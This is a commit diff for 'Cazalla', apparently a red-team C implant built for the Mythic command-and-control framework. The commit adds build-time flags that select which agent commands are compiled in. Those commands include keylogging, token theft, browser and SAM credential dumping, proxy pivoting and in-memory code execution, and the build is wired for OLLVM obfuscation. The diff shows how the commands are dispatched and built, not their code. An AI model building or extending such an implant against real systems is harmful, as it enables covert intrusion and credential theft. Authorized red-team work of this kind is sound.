Added Dynamic Commands to be loaded at compilation

Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile

@@ -38,6 +38,9 @@ else
     DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
 endif
 
+# Command enable flags (passed from builder.py)
+COMMAND_FLAGS ?=
+
 # Debug flags based on level
 DEBUG_FLAGS = -DDEBUG_SOCKS -g
 ifeq ($(DEBUG_LEVEL_NUM),0)
@@ -69,17 +72,17 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll
 
 # Executable Target
 $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
-	$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
+	$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
 
 $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
-	$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
+	$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
 
 # DLL Target
 $(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
-	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
+	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
 
 $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
-	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
+	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
 
 # Clean up
 clean:

Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c

@@ -5,10 +5,14 @@
 #include "paquete.h"
 
 /* Forward: handlers for the new commands */
+#ifdef ENABLE_SOCKS_CMD
 static void startSocksHandler(PAnalizador analizadorTarea);
 static void stopSocksHandler(PAnalizador analizadorTarea);
+#endif
+#ifdef ENABLE_RPFWD_CMD
 static void startRpfwdHandler(PAnalizador analizadorTarea);
 static void stopRpfwdHandler(PAnalizador analizadorTarea);
+#endif
 
 BOOL handleGetTasking(PAnalizador obtenerTarea) {
     _inf("========== handleGetTasking INICIO ==========");
@@ -100,41 +104,82 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
         }
         _inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
 
+#ifdef ENABLE_SHELL_CMD
         if (tarea == SHELL_CMD){
             _inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
             ejecutarConsola(analizadorTarea);
         } else if (tarea == EXIT_CMD) {
+#else
+        if (tarea == EXIT_CMD) {
+#endif
             cerrarCallback(analizadorTarea);
         } else if (tarea == SLEEP_CMD){
             sleep(analizadorTarea);
+#ifdef ENABLE_PS_CMD
         } else if (tarea == PROCESS_CMD){
             listarProcesos(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_CD_CMD
         } else if (tarea == CD_CMD) {
             CambiarDirectorio(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_LS_CMD
         } else if (tarea == LS_CMD) {
             ListarDirectorio(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_PWD_CMD
         } else if (tarea == PWD_CMD) {
             ObtenerPath(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_CP_CMD
         } else if (tarea == CP_CMD) {
             CopiarFichero(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_MKDIR_CMD
         } else if (tarea == MKDIR_CMD) {
             CrearRuta(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_RM_CMD
         } else if (tarea == RM_CMD) {
             EliminarRuta(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_CAT_CMD
         } else if (tarea == CAT_CMD) {
             LeerFichero(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_DOWNLOAD_CMD
         } else if (tarea == DOWNLOAD_CMD) {
             DescargarFichero(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_UPLOAD_CMD
         } else if (tarea == UPLOAD_CMD) {
             SubirFichero(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_SCREENSHOT_CMD
         } else if (tarea == SCREENSHOT_CMD) {
             CapturarPantalla(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_SOCKS_CMD
         } else if (tarea == START_SOCKS_CMD) {
             _dbg("Received START_SOCKS_CMD");
             startSocksHandler(analizadorTarea);
         } else if (tarea == STOP_SOCKS_CMD) {
             _dbg("Received STOP_SOCKS_CMD");
             stopSocksHandler(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_RPFWD_CMD
         } else if (tarea == START_RPFWD_CMD) {
             _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
             _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
@@ -143,61 +188,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
         } else if (tarea == STOP_RPFWD_CMD) {
             _dbg("Received STOP_RPFWD_CMD");
             stopRpfwdHandler(analizadorTarea);
+        }
+#endif
+#ifdef ENABLE_KEYLOG_START_CMD
         } else if (tarea == KEYLOG_START_CMD) {
             _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
             StartKeylogger(analizadorTarea);
             _inf("===== KEYLOG_START_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_KEYLOG_STOP_CMD
         } else if (tarea == KEYLOG_STOP_CMD) {
             _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
             StopKeylogger(analizadorTarea);
             _inf("===== KEYLOG_STOP_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_LIST_TOKENS_CMD
         } else if (tarea == LIST_TOKENS_CMD) {
             _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
             ListarTokens(analizadorTarea);
             _inf("===== LIST_TOKENS_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_STEAL_TOKEN_CMD
         } else if (tarea == STEAL_TOKEN_CMD) {
             _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
             RobarToken(analizadorTarea);
             _inf("===== STEAL_TOKEN_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_MAKE_TOKEN_CMD
         } else if (tarea == MAKE_TOKEN_CMD) {
             _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
             CrearToken(analizadorTarea);
             _inf("===== MAKE_TOKEN_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_REV2SELF_CMD
         } else if (tarea == REV2SELF_CMD) {
             _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
             RevertirToken(analizadorTarea);
             _inf("===== REV2SELF_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_WHOAMI_CMD
         } else if (tarea == WHOAMI_CMD) {
             _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
             ObtenerUsuarioActual(analizadorTarea);
             _inf("===== WHOAMI_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_KILL_CMD
         } else if (tarea == KILL_CMD) {
             _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
             MatarProceso(analizadorTarea);
             _inf("===== KILL_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_BROWSER_INFO_CMD
         } else if (tarea == BROWSER_INFO_CMD) {
             _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
             IdentificarNavegadores(analizadorTarea);
             _inf("===== BROWSER_INFO_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_BROWSER_DUMP_CMD
         } else if (tarea == BROWSER_DUMP_CMD) {
             _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
             DumparNavegador(analizadorTarea);
             _inf("===== BROWSER_DUMP_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_SAMDUMP_CMD
         } else if (tarea == SAMDUMP_CMD) {
             _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
             SamDumpHandler(analizadorTarea);
             _inf("===== SAMDUMP_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_INLINE_EXECUTE_CMD
         } else if (tarea == INLINE_EXECUTE_CMD) {
             _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
             InlineExecuteHandler(analizadorTarea);
             _inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
+        }
+#endif
+#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
         } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
             _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
             // This command is typically handled via subtasks in Python
             // But if called directly, we'll handle it here
             _wrn("inline_execute_assembly should be called via subtasks");
             if (analizadorTarea) liberarAnalizador(analizadorTarea);
-        } else {
+        }
+#endif
+        else {
             _wrn("Tarea desconocida: 0x%02x", tarea);
             _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
             // liberar analizador si no será usado por otro handler
@@ -312,6 +398,7 @@ BOOL rutina() {
 
 }
 
+#ifdef ENABLE_SOCKS_CMD
 /* ============================
    START_SOCKS_CMD handler
    Expected params (in this order inside the task buffer):
@@ -403,7 +490,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
 
     if (analizadorTarea) liberarAnalizador(analizadorTarea);
 }
+#endif
 
+#ifdef ENABLE_RPFWD_CMD
 /* ============================
    START_RPFWD_CMD handler
    Expected params (in this order inside the task buffer):
@@ -518,3 +607,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) {
 
     if (analizadorTarea) liberarAnalizador(analizadorTarea);
 }
+#endif

Payload_Type/cazalla/cazalla/agent_functions/builder.py

@@ -22,7 +22,7 @@ class CazallaAgent(PayloadType):
     wrapper = False
     wrapped_payloads = []
     note = """C implant Developed by the Kaseya OFSTeam"""
-    supports_dynamic_loading = False
+    supports_dynamic_loading = True
     c2_profiles = ["http"]
     mythic_encrypts = True
     translation_container = "cazalla_translator"
@@ -198,6 +198,60 @@ class CazallaAgent(PayloadType):
             StepSuccess=True
         ))
 
+        # Get selected commands and create compiler defines
+        selected_commands = self.commands.get_commands()
+        debug_messages.append(f"\n=== COMMAND SELECTION ===")
+        debug_messages.append(f"Total commands selected: {len(selected_commands)}")
+        debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
+        
+        # Map command names to preprocessor define names
+        # Format: command_name -> ENABLE_XXX_CMD
+        command_to_define = {
+            "shell": "ENABLE_SHELL_CMD",
+            "cd": "ENABLE_CD_CMD",
+            "ls": "ENABLE_LS_CMD",
+            "pwd": "ENABLE_PWD_CMD",
+            "cp": "ENABLE_CP_CMD",
+            "mkdir": "ENABLE_MKDIR_CMD",
+            "rm": "ENABLE_RM_CMD",
+            "cat": "ENABLE_CAT_CMD",
+            "download": "ENABLE_DOWNLOAD_CMD",
+            "upload": "ENABLE_UPLOAD_CMD",
+            "screenshot": "ENABLE_SCREENSHOT_CMD",
+            "ps": "ENABLE_PS_CMD",
+            "kill": "ENABLE_KILL_CMD",
+            "socks": "ENABLE_SOCKS_CMD",
+            "rpfwd": "ENABLE_RPFWD_CMD",
+            "keylog_start": "ENABLE_KEYLOG_START_CMD",
+            "keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
+            "list_tokens": "ENABLE_LIST_TOKENS_CMD",
+            "steal_token": "ENABLE_STEAL_TOKEN_CMD",
+            "make_token": "ENABLE_MAKE_TOKEN_CMD",
+            "rev2self": "ENABLE_REV2SELF_CMD",
+            "whoami": "ENABLE_WHOAMI_CMD",
+            "browser_info": "ENABLE_BROWSER_INFO_CMD",
+            "browser_dump": "ENABLE_BROWSER_DUMP_CMD",
+            "samdump": "ENABLE_SAMDUMP_CMD",
+            "inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
+            "inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
+        }
+        
+        # Generate compiler defines for selected commands
+        command_flags = []
+        for cmd_name in selected_commands:
+            if cmd_name in command_to_define:
+                define_name = command_to_define[cmd_name]
+                command_flags.append(f"-D{define_name}")
+                debug_messages.append(f"  -> {cmd_name}: {define_name}")
+        
+        # Core commands (exit, sleep) are always included, no flags needed
+        # Commands with builtin=True (sleep) are always included by Mythic
+        
+        command_flags_str = " ".join(command_flags)
+        debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
+        if command_flags_str:
+            debug_messages.append(f"Command flags: {command_flags_str}")
+
         agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
         copy_tree(str(self.agent_path), agent_build_path.name)
 
@@ -275,6 +329,10 @@ class CazallaAgent(PayloadType):
                 # The Makefile will convert string values to numbers
                 make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
             
+            # Add command flags to make command
+            if command_flags_str:
+                make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
+
             command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
             filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
 
@@ -336,11 +394,15 @@ class CazallaAgent(PayloadType):
             elif ollvm_compilation == 2:
                 obfuscation_parameters = level_2_obfuscation_parameters
 
+            # Add command flags to OLLVM compilation
+            command_flags_ollvm = command_flags_str if command_flags_str else ""
+            
             # Compilation Command
             compilation_command = f"clang -target x86_64-w64-mingw32 \
             -fuse-ld=lld \
             -DDEBUG_LEVEL={debug_level_docker} \
             -DDEBUG_OUTPUT={debug_output_docker} \
+            {command_flags_ollvm} \
             {obfuscation_parameters} \
             -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
             --sysroot=/usr/x86_64-w64-mingw32 \

Payload_Type/cazalla/cazalla/agent_functions/exit.py

@@ -26,7 +26,8 @@ class ExitCommand(CommandBase):
     argument_class = ExitArguments
     attackmapping = []
     attributes = CommandAttributes(
-        supported_os=[SupportedOS.Windows]
+        supported_os=[SupportedOS.Windows],
+        builtin=True
     )
 
     async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:

Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py

@@ -253,7 +253,7 @@ class InlineExecuteCommand(CommandBase):
     attributes = CommandAttributes(
         builtin=False,
         supported_os=[ SupportedOS.Windows ],
-        suggested_command=True
+        suggested_command=False
     )
 
     async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:

Payload_Type/cazalla/cazalla/agent_functions/ls.py

@@ -111,7 +111,7 @@ class LsCommand(CommandBase):
     attributes = CommandAttributes(
         builtin=False,
         supported_os=[ SupportedOS.Windows ],
-        suggested_command=True
+        suggested_command=False
     )
 
     # async def create_tasking(self, task: MythicTask) -> MythicTask:

Payload_Type/cazalla/cazalla/agent_functions/ps.py

@@ -29,7 +29,7 @@ class PsCommand(CommandBase):
     attributes = CommandAttributes(
         builtin=False,
         supported_os=[ SupportedOS.Windows ],
-        suggested_command=True
+        suggested_command=False
     )
     attackmapping = []
 

Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py

@@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase):
     attackmapping = []
     attributes = CommandAttributes(
         supported_os=[SupportedOS.Windows],
-        builtin=True,
     )
 
     async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:

Payload_Type/cazalla/cazalla/agent_functions/socks.py

@@ -66,7 +66,6 @@ class SocksCommand(CommandBase):
     attackmapping = []
     attributes = CommandAttributes(
         supported_os=[SupportedOS.Windows],
-        builtin=True,
     )
 
     async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: